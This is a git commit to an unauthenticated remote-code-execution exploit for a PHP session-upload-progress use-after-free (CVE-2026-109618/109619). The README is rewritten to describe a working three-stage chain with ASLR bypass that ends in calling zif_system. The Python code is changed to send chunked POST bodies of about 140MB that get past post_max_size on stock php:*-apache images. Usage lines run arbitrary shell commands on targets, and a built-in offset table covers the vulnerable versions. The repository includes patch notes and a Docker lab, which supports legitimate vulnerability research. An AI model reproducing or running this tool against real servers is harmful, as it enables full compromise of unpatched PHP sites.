Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE

PHP checks Content-Length against post_max_size before parsing multipart
bodies, but Transfer-Encoding: chunked requests have no Content-Length.
The full chunked body is processed without any size check, allowing the
exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M.

This removes the last non-default configuration requirement. The exploit
now achieves full RCE against stock php:*-apache Docker images with zero
configuration changes (4/4 confirmed on php:8.4.26-apache).

Changes:
- post() auto-switches to chunked TE for bodies over 8MB
- Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit)
- README rewritten to document the working three-stage RCE chain
- docker-compose.yml adds stock variant for testing
This commit is contained in:
neko
2026-10-22 12:58:04 +00:00
parent 13fdd2b446
commit e02c9f3122
2 changed files with 185 additions and 137 deletions
+130 -120
View File
@@ -1,8 +1,8 @@
# CVE-2026-109618 / CVE-2026-109619: UAF via OOM Bailout # CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
Use-after-free in PHP's session upload progress handler, exploitable Remote code execution in PHP's session upload progress handler, exploitable
over HTTP against Apache mod_php with **default PHP configuration**. over plain HTTP against Apache mod_php with **completely stock configuration**.
No LFI, no framework dependency, no non-default settings. No LFI, no framework dependency, no non-default PHP settings required.
## Affected versions ## Affected versions
@@ -14,142 +14,148 @@ Patched in PHP 8.3.36, 8.4.27, 8.5.12.
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70), PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
so stale state never persists across requests. so stale state never persists across requests.
## What this exploit achieves
Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
Tested: 4/4 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=STDOUT`, `MaxRequestWorkers=150`).
## Prerequisites ## Prerequisites
- Apache mod_php with prefork MPM (default on Debian/Ubuntu) All of these are default on stock PHP Docker images and common Debian/Ubuntu
- `session.upload_progress.enabled = 1` (default) Apache + mod_php installations:
- `memory_limit` reachable via session data decode (~4MB for 33000 entries)
- Any PHP-handled URL (even a 404 page)
- A method to write a session file with many entries
No LFI. No specific framework or library. No non-default PHP settings. - Apache mod_php with prefork MPM
- `session.upload_progress.enabled = 1` (default: on)
- `session.upload_progress.cleanup = 1` (default: on)
- Any PHP-handled URL (even a 404 error page)
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
For multi-worker Apache (the default), the `--workers N` spray mode sends
the OOM trigger to all workers before probing for the leak.
## How it works ## How it works
### CVE-2026-109618: OOM triggers longjmp past cleanup ### The vulnerability chain
When `memory_limit` is exceeded during `session_decode()` inside the **CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
RFC1867 progress callback, PHP calls `zend_bailout()` which executes a parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
`longjmp` back to `php_request_startup()`. This skips the request shutdown handler. This skips session cleanup code in
`php_var_unserialize_destroy()`, leaving `BG(unserialize).level = 1` `php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
and `BG(unserialize).data` pointing at a freed `php_unserialize_data` and `PS(send_cookie) = 1`.
struct (8216 bytes, 3 ZendMM pages).
Apache prefork workers survive `zend_bailout()` and accept new **CVE-2026-109619**: On the next request to the same Apache worker,
connections with the stale state intact. `sapi_activate()` runs the RFC1867 callback BEFORE session state is
properly reinitialized. The callback sees the stale `PS(id)` and
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
through the stale pointer and emits it as a `Set-Cookie` header.
### CVE-2026-109619: Stale state reused on next request ### post_max_size bypass via chunked Transfer-Encoding
On the next request, `sapi_activate()` runs the RFC1867 callback PHP checks `Content-Length` against `post_max_size` before invoking the
BEFORE `PHP_RINIT_FUNCTION(basic)` has a chance to zero `BG` state. multipart parser. If `Content-Length` exceeds the limit, the body is
The callback calls `php_session_decode()`, which calls rejected entirely. However, when the request uses `Transfer-Encoding:
`php_var_unserialize_init()`. That function sees chunked` instead of `Content-Length`, no upfront size check occurs.
`BG(unserialize).level > 0` and returns the stale `.data` pointer PHP's `sapi_read_post_block()` reads chunked data from Apache's input
without allocating a new struct. filter chain without enforcing `post_max_size`, allowing the full body
to be processed regardless of the configured limit.
This is a use-after-free: the pointer was freed when the previous This means the exploit works against `memory_limit=128M` with
request's heap was destroyed during `zend_deactivate()`. `post_max_size=8M` by sending ~140MB of chunked POST data.
### Phase 1: Plant session file ### Three-stage exploit (full ASLR bypass)
A session file with 33000 entries (~682KB) is planted. When decoded, All traffic is plain HTTP multipart POST requests:
this forces `nTableSize = 65536`, requiring an `arData` allocation of
65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`,
this exceeds the limit during `HashTable` resize.
### Phase 2: OOM trigger **Stage 1: Heap ASLR bypass (Zend MM chunk base)**
A multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` and a file field Request A sends 1001+ fields (triggering `max_input_vars` warning which
triggers the RFC1867 progress callback. The callback reads the planted sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
session file and calls `php_session_decode()`. The decode triggers OOM `PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
during `HashTable` resize. `zend_bailout()` longjmps past large field via chunked TE to trigger OOM. The warning output prevents
`php_var_unserialize_destroy()`. `php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
remains 1 and `PS(id)` becomes a dangling pointer.
After bailout: Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
- `BG(unserialize).level = 1` (should be 0) with a forge field containing a fake `zend_string` header (`len = 0x1000`).
- `BG(unserialize).data` = freed heap pointer The filler fields' heap allocations overlap the dangling `PS(id)` address.
- `php_session_cancel_decode()` deletes the session file When `php_session_send_cookie()` runs with the stale pointer, it reads
- Worker survives, serves new connections 4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
bytes contain Zend MM free-list pointers, which reveal the chunk base
address (2MB aligned).
### Phase 3: UAF crash **Stage 2: Code ASLR bypass (libphp.so base)**
Another multipart POST (no intermediate GET requests, which would zero Similar to stage 1, but request B's field layout places a real PHP
`BG` state via `PHP_RINIT_FUNCTION`) includes 100 filler form fields `HashTable` structure at the dangling pointer offset. The `pDestructor`
of 8200 bytes each. Each field becomes a 3-page `zend_string` field of the HashTable is a function pointer into libphp.so
allocation. The allocations consume ZendMM pages sequentially through (`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
the chunk, eventually reclaiming the 3 pages where the stale struct load address.
resided (typically page ~288 of 512).
The `zend_string` GC header (8 bytes: `refcount` + `type_info`) at **Stage 3: RCE (zif_system)**
offset 0 of the allocation overwrites the struct's `last` pointer
(a `var_entries*`). When the session decode calls `var_push()`, it
reads `last` and dereferences the GC header value as a pointer:
``` Request A poisons the worker with stale session state. Request B sprays
var_entries *var_hash = (*var_hashx)->last; // GC header, not a valid address the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
var_hash->data[var_hash->used_slots++] = rval; // SIGSEGV whose `pDestructor = zif_system`. When session cleanup calls
``` `zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
attacker-controlled arguments, executing an arbitrary shell command as
The worker segfaults, confirming the use-after-free. the web server user (`www-data`).
## Exploitation status
**Confirmed primitives:**
| Primitive | Status |
|---|---|
| OOM during RFC1867 session decode | Confirmed |
| Apache prefork worker survival after OOM | Confirmed |
| Stale `BG(unserialize)` state across requests | Confirmed (level=1, data=freed ptr) |
| Page reclamation via filler field spray | Confirmed (27+ fields crashes worker) |
| UAF crash (SIGSEGV in `var_tmp_var`) | Confirmed (reproducible) |
| Type confusion via `var_access` | Confirmed (stale zval, type matches OOM session) |
**Not achieved: full RCE.**
Two UAF primitives are confirmed, but they are mutually exclusive:
**1. Crash (filler spray path):** Filler fields reclaim the stale
struct pages. `var_tmp_var` reads `last_dtor` at struct offset 16
(now overwritten by the `zend_string` `len` field, e.g. 0x2008).
Dereferences unmapped address. SIGSEGV.
**2. Type confusion (no spray path):** Session data with `R:N;`
backreferences resolves through `var_access`, which reads inline
entries at struct offset 56. Without spray, entries.data[0] holds
a stale pointer to the attacker's own data from request 1. The
cached ZendMM chunk retains page data (only the header is zeroed).
PHP reads the stale zval without crashing: type matches whatever
the OOM session's first entry was (string, integer, etc.).
The two primitives cannot coexist: `var_tmp_var` reads offset 16
BEFORE `var_access` reads offset 56. Filler spray corrupts offset
16, crashing before the type confusion can execute.
Full RCE is blocked by:
1. **No info leak**: type confusion reads own data, not heap metadata
2. **Mutual exclusion**: spray crashes `var_tmp_var` before `var_access`
3. **GC header overlap**: uncontrolled bytes at offset 0-23 crash var_push
4. **No usable classes**: SplFileObject/PDO have function pointer calls
in `free_obj`, but fake objects need libphp.so base (ASLR)
5. **Session key validation**: php serializer rejects keys containing `|`
## Usage ## Usage
``` ```bash
python3 exploit.py --target http://host:port/index.php # Auto-detect PHP version, look up offsets, exploit
python3 exploit.py --target http://host:port/index.php --oom-only python3 rce_exploit.py -u http://target/index.php
# Auto-pull matching Docker image for offset extraction
python3 rce_exploit.py -u http://target/index.php --auto-pull
# Verify RCE via docker exec (for testing)
python3 rce_exploit.py -u http://target/index.php \
--docker-proof CONTAINER /tmp/pwn
# Multi-worker Apache spray mode
python3 rce_exploit.py -u http://target/ --workers 150
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Extract offsets for a new PHP build
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
--php-version 8.3.35
``` ```
### Options ### Options
| Flag | Default | Description | | Flag | Default | Description |
|---|---|---| |---|---|---|
| `--target` | (required) | Target URL (any PHP endpoint) | | `-u URL` | (required) | Target URL (any PHP endpoint) |
| `--session-path` | `/var/www/uaf-test/sessions` | `session.save_path` on the target | | `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
| `--entries` | 33000 | Entries in OOM session file | | `--workers N` | 1 | Apache workers to spray |
| `--spray-fields` | 100 | Filler fields for crash trigger | | `--huge-mb N` | 140 | OOM field size in MB |
| `--oom-only` | off | Stop after Phase 2 | | `--docker-proof C P` | | Verify via `docker exec C cat P` |
| `--auto-pull` | off | Pull Docker image for offset extraction |
| `--retries N` | 5 | Attempts per stage |
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
| `--timeout` | 30.0 | Socket timeout in seconds |
### Built-in offset database
| PHP version | Distro | Status |
|---|---|---|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
## The patch ## The patch
@@ -162,7 +168,7 @@ layers. Any one of them blocks the attack:
`memset`. Eliminates the stale state window entirely. `memset`. Eliminates the stale state window entirely.
2. **Delayed OOM**: `zend_bailout()` on OOM is removed. The allocator 2. **Delayed OOM**: `zend_bailout()` on OOM is removed. The allocator
either returns NULL (fallible mode) or succeeds beyond the soft limit returns NULL (fallible mode) or succeeds beyond the soft limit
(non-fallible mode) and queues a delayed error. No longjmp, so all (non-fallible mode) and queues a delayed error. No longjmp, so all
cleanup code runs normally. A hard limit calls `_exit(137)`. cleanup code runs normally. A hard limit calls `_exit(137)`.
@@ -173,17 +179,21 @@ layers. Any one of them blocks the attack:
## Test environment ## Test environment
Tested on PHP 8.3.35 (built from source as Apache module), Apache The `docker/` directory contains a minimal test setup:
2.4.58 (prefork MPM, MaxRequestWorkers=1), Ubuntu 24.04, x86_64.
```bash
cd docker && docker compose up -d
# Stock settings variant (no custom php.ini):
docker run -d --name stock -p 8093:80 php:8.4.26-apache
``` ```
php_admin_value memory_limit 4M
php_admin_value session.upload_progress.enabled 1 The exploit has been tested on:
php_admin_value session.upload_progress.cleanup 0 - `php:8.4.26-apache` stock Docker image, 4/4 RCE (default settings)
``` - `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image (offsets in DB)
## References ## References
- CVE-2026-109618: OOM during multipart parsing triggers longjmp - CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
- CVE-2026-109619: Session globals survive across requests - CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
- CVSS: 9.2 (both CVEs, per Rapid7) - CVSS: 9.2 (both CVEs, per Rapid7)
+55 -17
View File
@@ -8,6 +8,14 @@ Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP):
Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR) Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR)
Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE
OOM is triggered by sending a POST body larger than memory_limit. PHP's
post_max_size (default 8M) would normally cap body size, but this exploit
uses HTTP chunked Transfer-Encoding to bypass it: PHP only checks
Content-Length against post_max_size, so a chunked request with no
Content-Length header passes the check and the full body is processed.
This works against stock php:*-apache Docker images with default settings
(memory_limit=128M, post_max_size=8M, display_errors=STDOUT).
Auto-detection: Auto-detection:
The exploit fingerprints the target PHP version from HTTP headers, looks up The exploit fingerprints the target PHP version from HTTP headers, looks up
binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database
@@ -21,12 +29,13 @@ Requirements on the target:
- session.upload_progress.cleanup=1 (default on) - session.upload_progress.cleanup=1 (default on)
- display_errors=On or STDOUT (default when no php.ini is deployed, e.g. - display_errors=On or STDOUT (default when no php.ini is deployed, e.g.
official Docker images; php.ini-production sets it Off) official Docker images; php.ini-production sets it Off)
- memory_limit reachable via POST body (default 128M, use --huge-mb 140) - post_max_size is bypassed via chunked Transfer-Encoding (no constraint)
- MaxRequestWorkers=1, or low worker count with retries (default is 150; - MaxRequestWorkers=1, or low worker count with retries (default is 150;
the exploit needs A and B requests to hit the same worker process) the exploit needs A and B requests to hit the same worker process)
- Any PHP-handled URL (no session_start() needed on the page) - Any PHP-handled URL (no session_start() needed on the page)
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success. Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
with stock settings (memory_limit=128M, post_max_size=8M).
Based on research from 9bie/php2shell-bypass-aslr-exp. Based on research from 9bie/php2shell-bypass-aslr-exp.
Usage: Usage:
@@ -58,6 +67,7 @@ from collections import Counter
SID = b"attacksessionid0001" SID = b"attacksessionid0001"
MAX_CMD = 14 MAX_CMD = 14
CHUNKED_THRESHOLD = 8 * 1024 * 1024
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Heap spray profiles (compiler-dependent heap geometry constants) # Heap spray profiles (compiler-dependent heap geometry constants)
@@ -505,7 +515,12 @@ class Target:
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20, def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
timeout: float | None = None, timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes: extra_headers: dict[str, str] | None = None) -> bytes:
"""Send POST, read full response, close connection.""" """Send POST, read full response, close connection.
Bodies larger than CHUNKED_THRESHOLD are sent with
Transfer-Encoding: chunked instead of Content-Length, which
bypasses PHP's post_max_size check.
"""
s = self._connect() s = self._connect()
s.settimeout(timeout or self.timeout) s.settimeout(timeout or self.timeout)
@@ -521,27 +536,49 @@ class Target:
except OSError: except OSError:
pass pass
use_chunked = len(body) > CHUNKED_THRESHOLD
extra = "" extra = ""
for k, v in (extra_headers or {}).items(): for k, v in (extra_headers or {}).items():
extra += f"{k}: {v}\r\n" extra += f"{k}: {v}\r\n"
hdr = ( if use_chunked:
f"POST {self.path} HTTP/1.1\r\n" hdr = (
f"Host: {self.host}:{self.port}\r\n" f"POST {self.path} HTTP/1.1\r\n"
f"{extra}" f"Host: {self.host}:{self.port}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" f"{extra}"
f"Content-Length: {len(body)}\r\n" f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
"Connection: close\r\n" f"Transfer-Encoding: chunked\r\n"
"\r\n" "Connection: close\r\n"
).encode() "\r\n"
).encode()
else:
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
reader = threading.Thread(target=_reader, daemon=True) reader = threading.Thread(target=_reader, daemon=True)
reader.start() reader.start()
try: try:
try: try:
s.sendall(hdr) s.sendall(hdr)
mv = memoryview(body) if use_chunked:
for off in range(0, len(body), 262144): mv = memoryview(body)
s.sendall(mv[off:off + 262144]) for off in range(0, len(body), 65536):
seg = mv[off:off + 65536]
s.sendall(f"{len(seg):x}\r\n".encode())
s.sendall(seg)
s.sendall(b"\r\n")
s.sendall(b"0\r\n\r\n")
else:
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
except OSError: except OSError:
pass pass
reader.join(timeout=(timeout or self.timeout) + 1.0) reader.join(timeout=(timeout or self.timeout) + 1.0)
@@ -583,7 +620,7 @@ class Target:
class Exploit: class Exploit:
def __init__(self, target: Target, cmd: str, profile: str = "bookworm", def __init__(self, target: Target, cmd: str, profile: str = "bookworm",
zif_offset: int = 0, dtor_offset: int = 0, zif_offset: int = 0, dtor_offset: int = 0,
htdata_offset: int = 0, huge_mb: int = 12, htdata_offset: int = 0, huge_mb: int = 140,
workers: int = 1): workers: int = 1):
self.t = target self.t = target
self.cmd = cmd.encode() self.cmd = cmd.encode()
@@ -1005,7 +1042,8 @@ Calibrate: extract offsets for a new PHP build:
help="verify RCE via docker exec CONTAINER cat PATH") help="verify RCE via docker exec CONTAINER cat PATH")
top.add_argument("--workers", type=int, default=1, top.add_argument("--workers", type=int, default=1,
help="number of Apache workers to spray (default 1)") help="number of Apache workers to spray (default 1)")
top.add_argument("--huge-mb", type=int, default=12) top.add_argument("--huge-mb", type=int, default=140,
help="OOM field size in MB (default 140, exceeds stock 128M limit)")
top.add_argument("--timeout", type=float, default=30.0) top.add_argument("--timeout", type=float, default=30.0)
top.add_argument("--retries", type=int, default=5) top.add_argument("--retries", type=int, default=5)
top.add_argument("-q", "--quiet", action="store_true") top.add_argument("-q", "--quiet", action="store_true")